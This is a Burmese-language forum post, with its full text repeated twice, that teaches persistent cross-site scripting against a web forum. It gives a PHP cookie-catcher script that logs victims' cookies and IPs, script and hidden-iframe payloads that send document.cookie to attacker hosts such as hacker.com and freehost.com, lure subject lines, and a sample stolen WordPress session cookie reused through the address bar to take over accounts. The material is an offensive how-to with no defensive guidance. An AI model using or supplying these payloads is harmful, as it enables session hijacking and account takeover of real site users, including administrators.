What is XSS?
XSS ဆိုတာ Cross Site Scripting လို႕ေခၚတဲ့ Web Application Vulnerability အမ်ိဳးအစားတစ္ခုပါပဲ.။ Input Filter လုပ္မထားေသာ ေနရာမွတစ္ဆင့္ Code Inject လုပ္၍ Website User မ်ား၏ ID မ်ား Cookies မ်ားကိုခိုးယူႏိုင္သကဲ့သို႕ အျခားနည္းမ်ားျဖင့္ တုိက္ခိုက္ျခင္းကိုဆိုလုိသည္.။
ဘယ္လို Input လုပ္မထားတာလဲဆိုေတာ့ ဒီလိုပါ
Code
<?php
$name=$_GET['name'];
print $name;
?>test.php ပဲဆိုပါစို႕ဗ်ာ ၾကည့္လိုက္ပါ User Input ကုိ Filter လုပ္ထားျခင္းမရွိပါ သို႕ေၾကာင့္ ေအာက္ပါကဲ့သို႕ JavaScript မ်ား Inject လုပ္ႏုိင္သည္
http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>
ဒီလိုဆို XSS ဆိုျပီး Alert တက္လာပါလိမ့္မယ္…
Two Types of Attacking
1.Persistant XSS
2.Non-Persistant XSS
1.Persistant XSS
stored or second-order vulnerability လို႕လည္းေခၚၾကပါတယ္။ HTML Entities မ်ားကို Encode လုပ္စရာမလိုပဲ User Data မ်ားကို တုိက္ခိုက္ႏုိ္င္ေသာ နည္းတစ္နည္းျဖစ္သည္.။
Let’s Start
Code:
<?php
$name=$_GET['name'];
print $name;
?>
ခုနကလည္းေျပာခဲ့ဖူးတာပါပဲ. User Input ကို Filter လုပ္ထားျခင္းမရွိေသာေၾကာင့္ Javascript မ်ား Inject လုပ္ႏုိင္ပါသည္.။
ပထမဆံုး Vuln ျဖစ္မျဖစ္ရွာရေအာင္..။
ဥပမာ ဖိုရမ္တစ္ခုဆိုပါစို႕ www.vulnforum.com ေပါ့ အဲ့မွာ ဖို၇မ္ခြဲတစ္ခုရွိတယ္ Problem Report ဆိုပါစို႕ အဲ့ဒီ့ဖိုရမ္ခြဲမွာ ကၽြန္ေတာ္ ပထမဆံုး ေပါက္မေပါက္စစစ္ပါမယ္
Subject : XSS Persistant Test
Message : <alert>”XSS”</alert>
ျပီးရင္ Submitted . အဲ့ဒီ့မွာ ကၽြန္ေတာ္တို႕ ျပန္ထြက္လိုက္ပါတယ္ ျပန္၀င္လိုက္ရင္ Pop Up Box နဲ႕ “XSS” လို႕တက္ေနရင္ Inject လုပ္လို႕ရပါျပီ
ဒါဆိုရင္ အျခားေသာ User မ်ားရဲ႕ Cookies မ်ား Steal လုပ္ႏုိင္ရန္ ျပင္ဆင္ရပါမယ္.
Cookie Catcher:
<?php
$cookie = $_GET['c'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen(‘cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
‘);
fclose($fp);
header (\”javascript:history.back()\”);
?>
<html></html>
သိပ္ရႈပ္ရႈပ္ရွက္ရွက္ၾကီးမဟုတ္လုိ႕ ကၽြန္ေတာ္ရွင္းမျပေတာ့ပါဘူး ေနာက္မွပဲ Cookies Catcher ေတြနဲ႕ ပက္သက္ျပီး သီးသန္႕ေရးေပးပါ့မယ္.။ Host တစ္ခုမွာ cookies.php ဆိုတာနဲ႕ တင္ပါ့မယ္
ဥပမာ www.freehost.com/cookies.php ေပါ့ Cookies Catcher အတြက္ ျပင္ဆင္လုိ႕ျပီးပါျပီ.။
Let’s Inject
ခုနကေျပာခဲ့တဲ့ Sub Forum ရဲ႕ Subject မွာ လူစိတ္၀င္စားမယ့္ ေခါင္းစဥ္မ်ိဳးတင္ပါ့မယ္ ( ဒါမွ ၀င္ၾကည့္ၾကမွာကိုး ၀င္မွလည္း Cookies ခိုးလို႕ရမွာကိုး )
Subject : Hey.I found a vuln in this forum
Message : <script>document.location=”http://hacker.com/cookies.php?c=”+document.cookies</script> ဆိုျပီး ကၽြန္ေတာ္တုိ႕ Java Script ကို Inject လုပ္ပါ့မယ္ ဒါဆို ကၽြန္ေတာ္တုိ႕ Comment ေပးထားတဲ့ေနရာကို အျခား User ၀င္တဲ့အခါမွာ User ရဲ႕ Cookies ဟာ ကၽြန္ေတာ္တို႕ www.freehost.com/cookies.html မွာ သြားျပီး သိမ္းသြားပါတယ္
Cookie:wordpressuser_9314f063e7420cf3cB09db0405006c51=user;
wordpresspass_9314f063e7420cf3cB09db0405006c51=f4370adBcd051f0ecd169424abe8ea;session=s
IP:192.186.0.0
Date and Time:Data & Time
Referer:
ဒီလိုေပါ့ဗ်ာ ဒါဆို ကၽြန္ေတာ္တုိ႕ဟာ
www.vulnforum.com ရဲ႕ Address Bar မွာ
javascript:void(document.cookie=”wordpresspass_9314f063e7420cf3cB09db0405006c51=f4370adBcd051f0ecd169424abe8ea=user”)
လို႕ Inject လုပ္ျပီး Reload လုပ္တဲ့အခါ User ရဲ႕ Control Panel ကိုေရာက္သြားပါျပီ
ေနာက္တစ္မ်ိဳး အဲ့ေနရာမွာပဲ ေနာက္တစ္ထုေပါ့ဗ်ာ
Subject :Hey..I think this forum has vuln
Message : <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”www.freehost.com/cookies.php?c=” + document.cookie)</iframe>
Code ကို Inject လုပ္ပါ့မယ္.။ ျပီးရင္ Submit ဆိုပါစို႕.။
အဲ့ဒါကို တျခား User က ျမင္ျပီး Link ကို ၀င္ၾကည့္မိပါလိမ့္မယ္ ဒါေပမယ့္ ေခါင္းစဥ္ကလြဲျပီး ဘာမွမျမင္တာနဲ႕ Comment ေပးလိုက္ပါတယ္ ဒါဆို ခုနကအတုိင္းပဲ Cookies Steal အလုပ္ခံရဦးမွာပဲျဖစ္ျပီး User Control Panel ကိုထိန္းခ်ဳပ္ခံရဦးမွာပဲျဖစ္ပါတယ္ အကယ္၍ User မဟုတ္ဘဲ Admin သာ ျဖစ္ခဲ့ရင္… ;-)
XSS ဆိုတာ Cross Site Scripting လို႕ေခၚတဲ့ Web Application Vulnerability အမ်ိဳးအစားတစ္ခုပါပဲ.။ Input Filter လုပ္မထားေသာ ေနရာမွတစ္ဆင့္ Code Inject လုပ္၍ Website User မ်ား၏ ID မ်ား Cookies မ်ားကိုခိုးယူႏိုင္သကဲ့သို႕ အျခားနည္းမ်ားျဖင့္ တုိက္ခိုက္ျခင္းကိုဆိုလုိသည္.။
ဘယ္လို Input လုပ္မထားတာလဲဆိုေတာ့ ဒီလိုပါ
Code
<?php
$name=$_GET['name'];
print $name;
?>test.php ပဲဆိုပါစို႕ဗ်ာ ၾကည့္လိုက္ပါ User Input ကုိ Filter လုပ္ထားျခင္းမရွိပါ သို႕ေၾကာင့္ ေအာက္ပါကဲ့သို႕ JavaScript မ်ား Inject လုပ္ႏုိင္သည္
http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>
ဒီလိုဆို XSS ဆိုျပီး Alert တက္လာပါလိမ့္မယ္…
Two Types of Attacking
1.Persistant XSS
2.Non-Persistant XSS
1.Persistant XSS
stored or second-order vulnerability လို႕လည္းေခၚၾကပါတယ္။ HTML Entities မ်ားကို Encode လုပ္စရာမလိုပဲ User Data မ်ားကို တုိက္ခိုက္ႏုိ္င္ေသာ နည္းတစ္နည္းျဖစ္သည္.။
Let’s Start
Code:
<?php
$name=$_GET['name'];
print $name;
?>
ခုနကလည္းေျပာခဲ့ဖူးတာပါပဲ. User Input ကို Filter လုပ္ထားျခင္းမရွိေသာေၾကာင့္ Javascript မ်ား Inject လုပ္ႏုိင္ပါသည္.။
ပထမဆံုး Vuln ျဖစ္မျဖစ္ရွာရေအာင္..။
ဥပမာ ဖိုရမ္တစ္ခုဆိုပါစို႕ www.vulnforum.com ေပါ့ အဲ့မွာ ဖို၇မ္ခြဲတစ္ခုရွိတယ္ Problem Report ဆိုပါစို႕ အဲ့ဒီ့ဖိုရမ္ခြဲမွာ ကၽြန္ေတာ္ ပထမဆံုး ေပါက္မေပါက္စစစ္ပါမယ္
Subject : XSS Persistant Test
Message : <alert>”XSS”</alert>
ျပီးရင္ Submitted . အဲ့ဒီ့မွာ ကၽြန္ေတာ္တို႕ ျပန္ထြက္လိုက္ပါတယ္ ျပန္၀င္လိုက္ရင္ Pop Up Box နဲ႕ “XSS” လို႕တက္ေနရင္ Inject လုပ္လို႕ရပါျပီ
ဒါဆိုရင္ အျခားေသာ User မ်ားရဲ႕ Cookies မ်ား Steal လုပ္ႏုိင္ရန္ ျပင္ဆင္ရပါမယ္.
Cookie Catcher:
<?php
$cookie = $_GET['c'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen(‘cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
‘);
fclose($fp);
header (\”javascript:history.back()\”);
?>
<html></html>
သိပ္ရႈပ္ရႈပ္ရွက္ရွက္ၾကီးမဟုတ္လုိ႕ ကၽြန္ေတာ္ရွင္းမျပေတာ့ပါဘူး ေနာက္မွပဲ Cookies Catcher ေတြနဲ႕ ပက္သက္ျပီး သီးသန္႕ေရးေပးပါ့မယ္.။ Host တစ္ခုမွာ cookies.php ဆိုတာနဲ႕ တင္ပါ့မယ္
ဥပမာ www.freehost.com/cookies.php ေပါ့ Cookies Catcher အတြက္ ျပင္ဆင္လုိ႕ျပီးပါျပီ.။
Let’s Inject
ခုနကေျပာခဲ့တဲ့ Sub Forum ရဲ႕ Subject မွာ လူစိတ္၀င္စားမယ့္ ေခါင္းစဥ္မ်ိဳးတင္ပါ့မယ္ ( ဒါမွ ၀င္ၾကည့္ၾကမွာကိုး ၀င္မွလည္း Cookies ခိုးလို႕ရမွာကိုး )
Subject : Hey.I found a vuln in this forum
Message : <script>document.location=”http://hacker.com/cookies.php?c=”+document.cookies</script> ဆိုျပီး ကၽြန္ေတာ္တုိ႕ Java Script ကို Inject လုပ္ပါ့မယ္ ဒါဆို ကၽြန္ေတာ္တုိ႕ Comment ေပးထားတဲ့ေနရာကို အျခား User ၀င္တဲ့အခါမွာ User ရဲ႕ Cookies ဟာ ကၽြန္ေတာ္တို႕ www.freehost.com/cookies.html မွာ သြားျပီး သိမ္းသြားပါတယ္
Cookie:wordpressuser_9314f063e7420cf3cB09db0405006c51=user;
wordpresspass_9314f063e7420cf3cB09db0405006c51=f4370adBcd051f0ecd169424abe8ea;session=s
IP:192.186.0.0
Date and Time:Data & Time
Referer:
ဒီလိုေပါ့ဗ်ာ ဒါဆို ကၽြန္ေတာ္တုိ႕ဟာ
www.vulnforum.com ရဲ႕ Address Bar မွာ
javascript:void(document.cookie=”wordpresspass_9314f063e7420cf3cB09db0405006c51=f4370adBcd051f0ecd169424abe8ea=user”)
လို႕ Inject လုပ္ျပီး Reload လုပ္တဲ့အခါ User ရဲ႕ Control Panel ကိုေရာက္သြားပါျပီ
ေနာက္တစ္မ်ိဳး အဲ့ေနရာမွာပဲ ေနာက္တစ္ထုေပါ့ဗ်ာ
Subject :Hey..I think this forum has vuln
Message : <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”www.freehost.com/cookies.php?c=” + document.cookie)</iframe>
Code ကို Inject လုပ္ပါ့မယ္.။ ျပီးရင္ Submit ဆိုပါစို႕.။
အဲ့ဒါကို တျခား User က ျမင္ျပီး Link ကို ၀င္ၾကည့္မိပါလိမ့္မယ္ ဒါေပမယ့္ ေခါင္းစဥ္ကလြဲျပီး ဘာမွမျမင္တာနဲ႕ Comment ေပးလိုက္ပါတယ္ ဒါဆို ခုနကအတုိင္းပဲ Cookies Steal အလုပ္ခံရဦးမွာပဲျဖစ္ျပီး User Control Panel ကိုထိန္းခ်ဳပ္ခံရဦးမွာပဲျဖစ္ပါတယ္ အကယ္၍ User မဟုတ္ဘဲ Admin သာ ျဖစ္ခဲ့ရင္… ;-)
_________________
!....Learn to Be Matured....!
post by Negative Thunder
ghostarea.net